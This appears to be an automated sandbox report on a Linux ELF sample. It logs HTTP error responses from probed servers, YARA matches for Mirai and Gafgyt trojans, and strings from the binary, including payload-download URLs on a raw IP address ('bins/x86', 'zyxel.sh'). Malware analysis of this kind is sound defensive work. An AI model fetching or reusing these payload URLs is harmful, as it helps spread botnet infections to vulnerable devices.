Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 26 Dec 2023 20:24:02 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 20:59:41 GMTAccept-Ranges: bytesConnection: closeContent-Type: text/html; charset=ISO-8859-1Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Tue, 26 Dec 2023 20:24:25 GMTContent-Type: text/htmlContent-Length: 150Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 20:24:32 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 20:24:42 GMTServer: Apache/2.2.15 (CentOS)Last-Modified: Sun, 26 Nov 2023 15:00:03 GMTETag: "bf4b8-57e-60b0f70b1953d"Accept-Ranges: bytesContent-Length: 1406Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 26 6d 64 61 73 68 3b 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 22 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 23 37 37 37 37 37 37 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 30 70 78 3b 20 63 6f 6c 6f 72 3a 23 39 39 41 37 41 46 3b 20 6d 61 72 67 69 6e 3a 20 37 30 70 78 20 30 20 30 20 30 3b 7d 0a 20 20 20 20 20 20 20 20 68 32 20 7b 63 6f 6c 6f 72 3a 20 23 44 45 36 43 35 44 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 31 70 78 3b 20 6d 61 72 67 69 6e 3a 20 2d 33 70 78 20 30 20 33 39 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 70 20 7b 77 69 64 74 68 3a 33 37 35 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 20 7d 0a 20 20 20 20 20 20 20 20 64 69 76 20 7b 77 69 64 74 68 3a 33 37 35 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 7d 0a 20 20 20 20 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 63 6f 6c 6f 72 3a 20 23 33 34 35 33 36 41 3b 7d 0a 20 20 20 20 20 20 20 20 61 3a 76 69 73 69 74 65 64 20 7b 63 6f 6c
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 1007Date: Tue, 26 Dec 2023 20:25:07 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 32 20 28 55 62 75 6e 74 75 29 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: mxweb/1.13.7-MXDate: Tue, 26 Dec 2023 20:32:44 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 38 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 56 94 a7 26 e9 1b ea 19 1a eb 99 eb fa 46 20 ab d2 07 d9 03 32 57 1f ea 46 00 ef d5 61 cc ac 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 87(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTV&F 2WFa0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 14:26:19 GMTServer: Boa/0.94.14rc21Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=ISO-8859-1Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 20:12:06 GMTServer: Apache/2.2.17 (Linux/SUSE)Alternates: {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-2} {language cs} {length 745}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language de} {length 766}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language en} {length 611}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language es} {length 759}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language fr} {length 771}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language ga} {length 813}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language it} {length 692}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-2022-jp} {language ja} {length 749}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset euc-kr} {language ko} {length 703}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language nl} {length 688}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-2} {language pl} {length 707}}, {"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-1} {language pt-br} {length 753}}, {"HTTP_NOT_FData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Tue, 26 Dec 2023 20:25:47 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Dec 2023 22:25:47 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Tue, 26 Dec 2023 20:25:55 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: RomPager/4.07 UPnP/1.0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0Date: Tue, 26 Dec 2023 20:28:17 GMTX-Frame-Options: sameoriginContent-Security-Policy: frame-ancestors 'self'X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=block
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-TypeContent-Type: text/htmlContent-Length: 345Date: Tue, 26 Dec 2023 20:26:10 GMTServer: WebServerData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-TypeContent-Type: text/htmlContent-Length: 345Date: Tue, 26 Dec 2023 20:26:10 GMTServer: WebServerData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>

Source: D9UijsgjDB.elf	String found in binary or memory: http://141.98.10.47/bins/x86
Source: D9UijsgjDB.elf	String found in binary or memory: http://141.98.10.47/zyxel.sh;
Source: D9UijsgjDB.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: D9UijsgjDB.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
